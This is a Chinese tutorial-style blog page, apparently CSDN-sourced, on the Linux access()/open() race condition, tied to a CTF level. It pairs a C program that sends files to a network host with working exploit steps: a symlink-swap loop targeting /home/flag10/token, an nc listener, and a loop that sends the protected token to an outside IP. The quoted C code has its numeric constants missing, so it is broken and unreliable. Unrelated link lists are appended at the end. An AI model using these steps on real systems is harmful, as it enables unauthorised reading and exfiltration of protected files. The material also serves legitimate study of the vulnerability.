Linux C:access()时间条件竞争漏洞
access()函数用来检查调用进程是否可以对指定的文件执行某种操作。
================================================================================
来自:https://blog.csdn.net/tigerjibo/article/details/11712039
1.函数功能:
检查调用进程是否可以对指定的文件执行某种操作。
2.函数原型:
1)函数头文件
#include <stdio.h>
#include <unistd.h>
2)函数
int access(const char * pathname, int mode)
3)形参
pathname:需要检测的文件路劲名
mode:需要测试的操作模式。
4)函数返回值说明
成功执行时,返回0。失败返回-1,errno被设为以下的某个值
EINVAL: 模式值无效
EACCES: 文件或路径名中包含的目录不可访问
ELOOP : 解释路径名过程中存在太多的符号连接
ENAMETOOLONG:路径名太长
ENOENT:路径名中的目录不存在或是无效的符号连接
ENOTDIR: 路径名中当作目录的组件并非目录
EROFS: 文件系统只读
EFAULT: 路径名指向可访问的空间外
EIO:输入输出错误
ENOMEM: 不能获取足够的内核内存
ETXTBSY:对程序写入出错
5)mode说明
R_OK 测试读许可权
W_OK 测试写许可权
X_OK 测试执行许可权
F_OK 测试文件是否存在
================================================================================
常见的用法是先用access()函数判断文件是否可以操作,然后再通过open()函数对文件进行相应操作。但是这两者之前存在一个时间差,从而形成了时间条件竞争漏洞,越权读取文件。
参考下面的代码:
- #include <stdlib.h>
- #include <unistd.h>
- #include <sys/types.h>
- #include <stdio.h>
- #include <fcntl.h>
- #include <errno.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <string.h>
- int main(int argc, char **argv)
- {
- char *file;
- char *host;
- if(argc < ) {
- printf("%s file host\n\tsends file to host if you have access to it\n", argv[]);
- exit();
- }
- file = argv[];
- host = argv[];
- if(access(argv[], R_OK) == ) {
- int fd;
- int ffd;
- int rc;
- struct sockaddr_in sin;
- char buffer[];
- printf("Connecting to %s:18211 .. ", host); fflush(stdout);
- fd = socket(AF_INET, SOCK_STREAM, );
- memset(&sin, , sizeof(struct sockaddr_in));
- sin.sin_family = AF_INET;
- sin.sin_addr.s_addr = inet_addr(host);
- sin.sin_port = htons();
- if(connect(fd, (void *)&sin, sizeof(struct sockaddr_in)) == -) {
- printf("Unable to connect to host %s\n", host);
- exit(EXIT_FAILURE);
- }
- #define HITHERE ".oO Oo.\n"
- if(write(fd, HITHERE, strlen(HITHERE)) == -) {
- printf("Unable to write banner to host %s\n", host);
- exit(EXIT_FAILURE);
- }
- #undef HITHERE
- printf("Connected!\nSending file .. "); fflush(stdout);
- ffd = open(file, O_RDONLY);
- if(ffd == -) {
- printf("Damn. Unable to open file\n");
- exit(EXIT_FAILURE);
- }
- rc = read(ffd, buffer, sizeof(buffer));
- if(rc == -) {
- printf("Unable to read from file: %s\n", strerror(errno));
- exit(EXIT_FAILURE);
- }
- write(fd, buffer, rc);
- printf("wrote file!\n");
- } else {
- printf("You don't have access to %s\n", file);
- }
- }
先通过access()判断传参文件是否可读(注意:这里access()函数检查的是ruid,而不是euid),然后open()打开文件进行读取并发送数据。access()与open()之间存在时间差,且由于这里access()判断的是ruid,所以可以通过频繁改变目标文件,使得access()和open()判断的不是同一个文件,即可越权打开文件
*****************************************************************************
*利用方法:
假设token文件为当前用户不可读
1、编写脚本,将有权限与没有权限的文件循环指向同一个文件
- while true;
- do
- ln -sf /home/flag10/token /tmp/ttt
- ln -sf /tmp/aaa /tmp/ttt
- done
2、攻击侧监听18211端口
- while true;do nc -lvnp ;done
3、执行该程序,获取文件
- while true;
- do
- /home/flag10/flag10 /tmp/ttt 10.211.55.2
- done
Linux C:access()时间条件竞争漏洞的更多相关文章
- MOTCF 没时间解释了 条件竞争漏洞
moctf 没时间解释了 条件竞争漏洞 题目链接 条件竞争: 在本题目中,上传文件的时候服务器无条件的接收任何类型的文件,但是你上传之后服务器会给你的文件内容修改为too slow. 比如你上传了一句 ...
- MySQL/MariaDB/PerconaDB-提权条件竞争漏洞
背景 2016年11月01日,国外安全研究员Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/ ...
- 条件竞争(race condition)
条件竞争漏洞是一种服务器端的漏洞,由于服务器端在处理不同用户的请求时是并发进行的,因此,如果并发处理不当或相关操作逻辑顺序设计的不合理时,将会导致此类问题的发生. 参考了一些资料,发现一个比较能说明问 ...
- [原题复现]2018HCTF WEB admin(session伪造、unicode漏洞、条件竞争)
简介 原题复现:https://github.com/woadsl1234/HCTF2018_admin 考察知识点:session伪造.unicode漏洞.条件竞争 线上平台:https:// ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- Linux同步机制(二) - 条件变量,信号量,文件锁,栅栏
1 条件变量 条件变量是一种同步机制,允许线程挂起,直到共享数据上的某些条件得到满足. 1.1 相关函数 #include <pthread.h> pthread_cond_t cond ...
- Linux互斥锁、条件变量和信号量
Linux互斥锁.条件变量和信号量 来自http://kongweile.iteye.com/blog/1155490 http://www.cnblogs.com/qingxia/archive/ ...
- [转帖]预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响
预警 | Linux 爆“SACK Panic”远程DoS漏洞,大量主机受影响 https://cloud.tencent.com/developer/article/1447879 所有的 版本 ...
- linux概念之时间与时区
http://www.cnblogs.com/liuyou/archive/2012/07/29/2614338.html Linux时间基准 以上我们了解了RTC(实时时钟.硬件时钟)和OS时钟(系 ...
随机推荐
- [BZOJ4027][HEOI2015]兔子与樱花 树形dp
Description 很久很久之前,森林里住着一群兔子.有一天,兔子们突然决定要去看樱花.兔子们所在森林里的樱花树很特殊.樱花树由n个树枝分叉点组成,编号从0到n-1,这n个分叉点由n-1个树枝连接 ...
- Unity3D学习笔记(二):个体层次、绝对和局部坐标、V3平移旋转
Directional Light:平行光源/方向性光源,用来模拟太阳光(角度只与旋转角度有关,与位置无关) Point Light:点光源,用来模拟灯泡,向四周发散光源 Spotlight:锥光源/ ...
- 2018/7/18Bad English
1 So instead of enjoying anime because it can portray interesting stories in a form that would be im ...
- html 绘制矩形轨迹,选中区域
<!doctype html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- ASP.NET MVC实现网站验证码功能
网站添加验证码,主要为防止机器人程序批量注册,或对特定的注册用户用特定程序暴力破解方式,以进行不断的登录.灌水等危害网站的操作.验证码被广泛应用在注册.登录.留言等提交信息到服务器端处理的页面中. 在 ...
- [ios]NSThread传值 NSValue传值
NSThread:http://www.cocoachina.com/bbs/read.php?tid=51873 NSValue:http://blog.sina.com.cn/s/blog_bf9 ...
- Python -- Scrapy 命令行工具(command line tools)
结合scrapy 官方文档,进行学习,并整理了部分自己学习实践的内容 Scrapy是通过 scrapy 命令行工具进行控制的. 这里我们称之为 “Scrapy tool” 以用来和子命令进行区分. 对 ...
- 关于怎么解决java.lang.NoClassDefFoundError错误
五一在部署新的统一登录时,遇到这样一个问题: 很容易把java.lang.NoClassDefFoundError和java.lang.ClassNotfoundException这两个错误搞混,事实 ...
- angular5 生命周期钩子函数
生命周期执行顺序ngOnChanges 在有输入属性的情况下才会调用,该方法接受当前和上一属性值的SimpleChanges对象.如果有输入属性,会在ngOnInit之前调用. ngOnInit 在组 ...
- 第二类斯特林数(转自http://www.cnblogs.com/gzy-cjoier/p/8426987.html )
转自http://www.cnblogs.com/gzy-cjoier/p/8426987.html 侵删